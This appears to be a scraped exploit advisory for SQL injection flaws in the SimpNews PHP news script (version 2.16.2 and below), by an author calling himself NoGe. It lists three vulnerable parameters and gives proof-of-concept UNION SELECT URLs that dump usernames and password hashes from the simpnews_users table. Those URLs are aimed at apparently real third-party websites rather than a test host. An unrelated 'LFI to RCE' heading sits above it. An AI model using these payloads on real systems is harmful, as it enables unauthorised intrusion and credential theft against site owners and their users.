LFI to RCE via access_log injection

SimpNews Multiple SQL Injection Vuln


[o] SimpNews Multiple SQL Injection Vulnerabilities
Software : SimpNews version 2.16.2 and below
Vendor : http://www.boesch-it.de/
Download : http://www.boesch-it.de/sw/php-scripts/simpnews/english/download.php
Author : NoGe
Contact : noge[dot]code[at]gmail[dot]com
Blog : http://evilc0de.blogspot.com/


[o] Vulnerable file
news.php
master.php
announceprint.php


[o] Exploit
http://localhost/[path]/news.php?category=[sql]
http://localhost/[path]/master.php?newsnr=[sql]
http://localhost/[path]/announceprint.php?announcenr=[sql]


[o] PoC
http://www.asff-badminton.com/news/news.php?category=2+AND+1=2+UNION+ALL+SELECT+1,GROUP_CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+FROM+simpnews_users--
http://www.wecsrl.it/formazione/master.php?newsnr=-999+UNION+SELECT+0,0,0,password,username,username,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+simpnews_users+WHERE+usernr=1--
http://www.schaefer-tobies.de/simpnews/announceprint.php?announcenr=1+AND+1=2+UNION+ALL+SELECT+1,2,3,4,GROUP_CONCAT(username,0x3a,password),6,7,8,9,10,11,12,13,14,15+FROM+simpnews_users--



Comments